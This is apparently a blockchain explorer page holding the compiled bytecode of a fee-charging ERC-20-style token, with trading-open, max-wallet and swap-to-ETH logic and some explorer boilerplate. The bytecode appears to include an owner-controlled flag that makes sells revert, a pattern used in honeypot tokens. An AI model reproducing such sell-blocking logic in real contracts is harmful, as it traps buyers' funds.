0x6080604052600436106101695760003560e01c80634a62bb65116100d15780638da5cb5b1161008a578063c8c8ebe411610064578063c8c8ebe414610419578063dd62ed3e1461042f578063e2f4560514610475578063f8b45b051461048b57600080fd5b80638da5cb5b146103c657806395d89b41146103e4578063a9059cbb146103f957600080fd5b80634a62bb65146103025780636c580801146103225780636ddd17131461033c57806370a082311461035b578063715018a61461039157806375f0a874146103a657600080fd5b80632969144811610123578063296914481461025e5780632ae2f121146102735780632b14ca5614610293578063313ce567146102a957806347062402146102c557806349bd5a5e146102db57600080fd5b806299d3861461017557806306fdde031461018c578063095ea7b3146101b75780631694505e146101e757806318160ddd1461021f57806323b872dd1461023e57600080fd5b3661017057005b600080fd5b34801561018157600080fd5b5061018a6104a1565b005b34801561019857600080fd5b506101a1610510565b6040516101ae91906113ed565b60405180910390f35b3480156101c357600080fd5b506101d76101d2366004611453565b6105a2565b60405190151581526020016101ae565b3480156101f357600080fd5b50600654610207906001600160a01b031681565b6040516001600160a01b0390911681526020016101ae565b34801561022b57600080fd5b506002545b6040519081526020016101ae565b34801561024a57600080fd5b506101d761025936600461147f565b6105bc565b34801561026a57600080fd5b5061018a6105e0565b34801561027f57600080fd5b5061018a61028e3660046114c0565b610605565b34801561029f57600080fd5b50610230600e5481565b3480156102b557600080fd5b50604051601281526020016101ae565b3480156102d157600080fd5b50610230600d5481565b3480156102e757600080fd5b5060115461020790630100000090046001600160a01b031681565b34801561030e57600080fd5b506011546101d79062010000900460ff1681565b34801561032e57600080fd5b506011546101d79060ff1681565b34801561034857600080fd5b506011546101d790610100900460ff1681565b34801561036757600080fd5b506102306103763660046114fe565b6001600160a01b031660009081526020819052604090205490565b34801561039d57600080fd5b5061018a610638565b3480156103b257600080fd5b50601254610207906001600160a01b031681565b3480156103d257600080fd5b506005546001600160a01b0316610207565b3480156103f057600080fd5b506101a161064c565b34801561040557600080fd5b506101d7610414366004611453565b61065b565b34801561042557600080fd5b50610230600f5481565b34801561043b57600080fd5b5061023061044a36600461151b565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561048157600080fd5b50610230600c5481565b34801561049757600080fd5b5061023060105481565b6104a9610688565b60115460ff16156105015760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b6011805460ff19166001179055565b60606003805461051f90611549565b80601f016020809104026020016040519081016040528092919081815260200182805461054b90611549565b80156105985780601f1061056d57610100808354040283529160200191610598565b820191906000526020600020905b81548152906001019060200180831161057b57829003601f168201915b5050505050905090565b6000336105b08185856106e2565b60019150505b92915050565b6000336105ca858285610806565b6105d5858585610898565b506001949350505050565b6105e8610688565b6011805461ff001981166101009182900460ff1615909102179055565b61060d610688565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b610640610688565b61064a6000611002565b565b60606004805461051f90611549565b6000336105b0818585610898565b60006106758284611599565b9392505050565b600061067582846115b0565b6005546001600160a01b0316331461064a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104f8565b6001600160a01b0383166107445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b0382166107a55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03838116600090815260016020908152604080832093861683529290522054600019811461089257818110156108855760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104f8565b61089284848484036106e2565b50505050565b6001600160a01b0383166108fd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015265323932b9b99760d11b60648201526084016104f8565b61deac196001600160a01b038316016109645760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526332b9b99760e11b60648201526084016104f8565b600081116109ce5760405162461bcd60e51b815260206004820152603160248201527f45524332303a207472616e7366657220616d6f756e74206d75737420626520676044820152703932b0ba32b9103a3430b7103d32b9379760791b60648201526084016104f8565b6005546001600160a01b038481169116148015906109fa57506005546001600160a01b03838116911614155b8015610a0e57506001600160a01b03821615155b8015610a2557506001600160a01b03821661dead14155b8015610a34575060095460ff16155b15610da75760115460ff16610ac7576001600160a01b0383166000908152600a602052604090205460ff1680610a8257506001600160a01b0382166000908152600a602052604090205460ff165b610ac75760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016104f8565b60115462010000900460ff1615610da7576001600160a01b03831660009081526013602052604090205460ff168015610b1957506001600160a01b0382166000908152600b602052604090205460ff16155b15610c0657600f54811115610b965760405162461bcd60e51b815260206004820152603760248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d6178207472616e73616374696f6e20616d6f756e742e00000000000000000060648201526084016104f8565b6010546001600160a01b038316600090815260208190526040902054610bbc90836115d2565b1115610c015760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016104f8565b610da7565b6001600160a01b03821660009081526013602052604090205460ff168015610c4757506001600160a01b0383166000908152600b602052604090205460ff16155b15610d1c57600f54811115610cc45760405162461bcd60e51b815260206004820152603860248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f206d6178207472616e73616374696f6e20616d6f756e742e000000000000000060648201526084016104f8565b601154610100900460ff1615610c015760405162461bcd60e51b815260206004820152601a60248201527f5377617020686173206e6f74206265656e20656e61626c65642e00000000000060448201526064016104f8565b6001600160a01b0382166000908152600b602052604090205460ff16610da7576010546001600160a01b038316600090815260208190526040902054610d6290836115d2565b1115610da75760405162461bcd60e51b815260206004820152601460248201527326b0bc103bb0b63632ba1032bc31b2b2b232b21760611b60448201526064016104f8565b600c5430600090815260208190526040902054108015908190610dd15750601154610100900460ff165b8015610de0575060095460ff16155b8015610e0557506001600160a01b03841660009081526013602052604090205460ff16155b8015610e2a57506001600160a01b0384166000908152600a602052604090205460ff16155b8015610e4f57506001600160a01b0383166000908152600a602052604090205460ff16155b15610e76576009805460ff19166001179055610e6b6000611054565b6009805460ff191690555b6009546001600160a01b0385166000908152600a602052604090205460ff91821615911680610ebd57506001600160a01b0384166000908152600a602052604090205460ff165b15610ec6575060005b60008115610fef576001600160a01b03851660009081526013602052604090205460ff1680610f0d57506001600160a01b03861660009081526013602052604090205460ff165b15610f3557610f326064610f2c600d548761066990919063ffffffff16565b9061067c565b90505b6001600160a01b03851660009081526013602052604090205460ff168015610f5f57506000600d54115b15610f8557610f7e6064610f2c600d548761066990919063ffffffff16565b9050610fd1565b6001600160a01b03861660009081526013602052604090205460ff168015610faf57506000600e54115b15610fd157610fce6064610f2c600e548761066990919063ffffffff16565b90505b8015610fe257610fe28630836110f7565b610fec81856115e5565b93505b610ffa8686866110f7565b505050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b306000908152602081905260408120549081810361107157505050565b8215801561108b5750600c54611088906014611599565b82115b156110a157600c5461109e906014611599565b91505b6110aa8261129b565b6012546040516001600160a01b03909116904790600081818185875af1925050503d8060008114610ffa576040519150601f19603f3d011682016040523d82523d6000602084013e610ffa565b6001600160a01b03831661115b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b0382166111bd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b6001600160a01b038316600090815260208190526040902054818110156112355760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104f8565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610892565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106112d0576112d06115f8565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611329573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134d919061160e565b81600181518110611360576113606115f8565b6001600160a01b03928316602091820292909201015260065461138691309116846106e2565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bf90859060009086903090429060040161162b565b600060405180830381600087803b1580156113d957600080fd5b505af1158015610ffa573d6000803e3d6000fd5b600060208083528351808285015260005b8181101561141a578581018301518582016040015282016113fe565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461145057600080fd5b50565b6000806040838503121561146657600080fd5b82356114718161143b565b946020939093013593505050565b60008060006060848603121561149457600080fd5b833561149f8161143b565b925060208401356114af8161143b565b929592945050506040919091013590565b600080604083850312156114d357600080fd5b82356114de8161143b565b9150602083013580151581146114f357600080fd5b809150509250929050565b60006020828403121561151057600080fd5b81356106758161143b565b6000806040838503121561152e57600080fd5b82356115398161143b565b915060208301356114f38161143b565b600181811c9082168061155d57607f821691505b60208210810361157d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176105b6576105b6611583565b6000826115cd57634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156105b6576105b6611583565b818103818111156105b6576105b6611583565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561162057600080fd5b81516106758161143b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561167b5784516001600160a01b031683529383019391830191600101611656565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204bb5ad831b224c22b1ea7c89b12f143ccbea687d42b12eb54139b77328212b4564736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.